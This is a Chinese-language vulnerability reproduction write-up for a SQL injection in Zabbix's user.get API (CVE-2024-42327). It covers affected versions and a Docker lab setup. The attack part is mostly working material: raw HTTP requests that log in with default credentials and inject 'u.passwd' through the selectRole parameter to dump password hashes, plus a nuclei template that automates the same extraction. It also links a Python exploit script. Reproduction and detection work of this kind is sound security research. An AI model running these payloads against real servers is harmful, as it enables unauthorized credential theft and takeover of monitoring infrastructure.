【漏洞复现】Zabbix SQL注入漏洞 - CVE-2024-42327

该漏洞存在于 user.get API 端点，任何拥有 API 访问权限的非管理员用户（包括默认的 “用户 ”角色）都可能利用该漏洞。通过操纵特定的 API 调用，攻击者可以注入恶意 SQL 代码，从而获得未经授权的访问权限和控制权。

成功利用 CVE-2024-42327 可能会导致：

• 数据泄露： 攻击者可以访问和外泄敏感的监控数据，包括系统配置、性能指标和用户凭据。
• 系统泄露：攻击者可利用其升级的权限泄露底层 Zabbix 服务器，并可能转移到其他连接的系统。
• 拒绝服务： 攻击者可通过操纵或删除关键数据来中断监控操作。

影响版本

• 6.0.0 <= Zabbix <= 6.0.31
• 6.4.0 <= Zabbix <= 6.4.16
• Zabbix 7.0.0

docker 搭建 zabbix 6.0.0 环境

1. 创建容器映射文件夹

mkdir -p /zabbix-server && cd /zabbix-server && mkdir -p ./mysql/data ./mysql/conf ./mysql/logs ./font ./snmptraps ./mibs ./alertscripts ./externalscripts

2. 拉取相关镜像

docker pull mysql:8.0 && docker pull zabbix/zabbix-java-gateway:6.0.0-ubuntu && docker pull zabbix/zabbix-snmptraps:6.0.0-ubuntu && docker pull zabbix/zabbix-server-mysql:6.0.0-ubuntu && docker pull zabbix/zabbix-web-nginx-mysql:6.0.0-ubuntu

3. 上传.ttf文件解决乱码问题

cd /zabbix-server/font/
rm -rf simfang.ttf
然后随便在一个windows中复制 C:\Windows\Fonts\simfang.ttf 文件到/zabbix-server/font中即可

4. 编辑docker-compose.yml文件

version: '3'
services:
  mysql:
    image: mysql:8.0
    container_name: mysql
    volumes:
      - ./mysql/data:/var/lib/mysql
      - ./mysql/conf:/etc/mysql/conf.d
      - ./mysql/logs:/var/log/mysql
      - /etc/localtime:/etc/localtime
    restart: always
    privileged: true
    environment:
      - MYSQL_ROOT_PASSWORD=myrootpass
      - MYSQL_DATABASE=zabbix
      - MYSQL_USER=zabbix
      - MYSQL_PASSWORD=mypass
      - TZ=Asia/Shanghai
      - LANG=en_US.UTF-8
    expose:
      - "3306"
    networks:
      zabbix-net:
    command: --character-set-server=utf8 --collation-server=utf8_bin
  zabbix-gateway:
    image: zabbix/zabbix-java-gateway:6.0.0-ubuntu
    container_name: zabbix-gateway
    volumes:
      - /etc/localtime:/etc/localtime
    restart: always
    privileged: true
    ports:
      - "10052:10052"
    networks:
      zabbix-net:
  zabbix-snmptraps:
    image: zabbix/zabbix-snmptraps:6.0.0-ubuntu
    container_name: zabbix-snmptraps
    volumes:
      - /etc/localtime:/etc/localtime
      - ./snmptraps:/var/lib/zabbix/snmptraps
      - ./mibs:/var/lib/zabbix/mibs
    restart: always
    privileged: true
    ports:
      - "1162:1162/udp"
    networks:
      zabbix-net:
  zabbix-server:
    image: zabbix/zabbix-server-mysql:6.0.0-ubuntu
    container_name: zabbix-server
    volumes:
      - /etc/localtime:/etc/localtime
      - ./snmptraps:/var/lib/zabbix/snmptraps
      - ./mibs:/var/lib/zabbix/mibs
      - ./alertscripts:/usr/lib/zabbix/alertscripts
      - ./externalscripts:/usr/lib/zabbix/externalscripts
    restart: always
    privileged: true
    environment:
      - ZBX_LISTENPORT=10051
      - DB_SERVER_HOST=mysql
      - DB_SERVER_PORT=3306
      - MYSQL_DATABASE=zabbix
      - MYSQL_USER=zabbix
      - MYSQL_PASSWORD=mypass
      - MYSQL_ROOT_PASSWORD=myrootpass
      - ZBX_CACHESIZE=1G
      - ZBX_HISTORYCACHESIZE=512M
      - ZBX_HISTORYINDEXCACHESIZE=16M
      - ZBX_TRENDCACHESIZE=256M
      - ZBX_VALUECACHESIZE=256M
      - ZBX_STARTPINGERS=64
      - ZBX_IPMIPOLLERS=1
      - ZBX_ENABLE_SNMP_TRAPS=true
      - ZBX_STARTTRAPPERS=1
      - ZBX_JAVAGATEWAY_ENABLE=true
      - ZBX_JAVAGATEWAY=zabbix-gateway
      - ZBX_STARTJAVAPOLLERS=1
    ports:
      - "10051:10051"
    networks:
      zabbix-net:
    links:
      - mysql
      - zabbix-gateway
  zabbix-web:
    image: zabbix/zabbix-web-nginx-mysql:6.0.0-ubuntu
    container_name: zabbix-web
    volumes:
      - ./font/simfang.ttf:/usr/share/zabbix/assets/fonts/DejaVuSans.ttf
      - /etc/localtime:/etc/localtime
    restart: always
    privileged: true
    environment:
      - ZBX_SERVER_NAME=Zabbix 6.0.0
      - ZBX_SERVER_HOST=zabbix-server
      - ZBX_SERVER_PORT=10051
      - DB_SERVER_HOST=mysql
      - DB_SERVER_PORT=3306
      - MYSQL_DATABASE=zabbix
      - MYSQL_USER=zabbix
      - MYSQL_PASSWORD=mypass
      - MYSQL_ROOT_PASSWORD=myrootpass
      - PHP_TZ=Asia/Shanghai
    ports:
      - "80:8080"
    networks:
      zabbix-net:
    links:
      - mysql
      - zabbix-server
networks:
  zabbix-net:
    driver: bridge
    ipam:
      config:
        - subnet: 10.10.10.0/24
          gateway: 10.10.10.1

cd /zabbix-server，然后启动环境

docker-compose up -d

访问 80 端口

漏洞复现

1. 使用用户密码登陆，获取auth_token。这里使用 Admin/zabbix

POST /api_jsonrpc.php HTTP/1.1
Host: 192.168.67.135
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14.3) AppleWebKit/616.24 (KHTML, like Gecko) Version/17.2 Safari/616.24
Connection: keep-alive
Content-Length: 106
Content-Type: application/json-rpc
Accept-Encoding: gzip, deflate, br

{"jsonrpc": "2.0", "method": "user.login", "params": {"username": "Admin", "password": "zabbix"}, "id": 1}

2. 使用上面获取到的token，发送数据

POST /api_jsonrpc.php HTTP/1.1
Host: 192.168.67.135
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.9.25
Connection: keep-alive
Content-Length: 167
Content-Type: application/json-rpc
Accept-Encoding: gzip, deflate, br

{"jsonrpc": "2.0", "method": "user.get", "params": {"selectRole": ["roleid, u.passwd", "roleid"], "userids": "1"}, "auth": "2bbce9ff7cb7dad49382b357651fa5e4", "id": 1}

漏洞 poc

nuclei 检测：

id: CVE-2024-42327-zabbix-sqli

info:
  name: zabbix-api_jsonrpc-sqli
  author: Ly4j
  severity: high
  tags: zabbix

requests:
  - raw:
      - |
        POST /api_jsonrpc.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json-rpc

        {"jsonrpc": "2.0", "method": "user.login", "params": {"username": "Admin", "password": "zabbix"}, "id": 1}
      - |
        POST /api_jsonrpc.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json-rpc

        {"jsonrpc": "2.0", "method": "user.get", "params": {"selectRole": ["roleid, u.passwd", "roleid"], "userids": "1"}, "auth": "{{auth}}", "id": 1}

    matchers:
      - type: dsl
        dsl:
          - status_code==200 && contains_all(body_1,"jsonrpc") && contains_all(body_2,"passwd")
    extractors:
      - type: json
        internal: true
        name: auth
        json:
          - '.result'

python 利用脚本：

GitHub - aramosf/cve-2024-42327: cve-2024-42327 ZBX-25623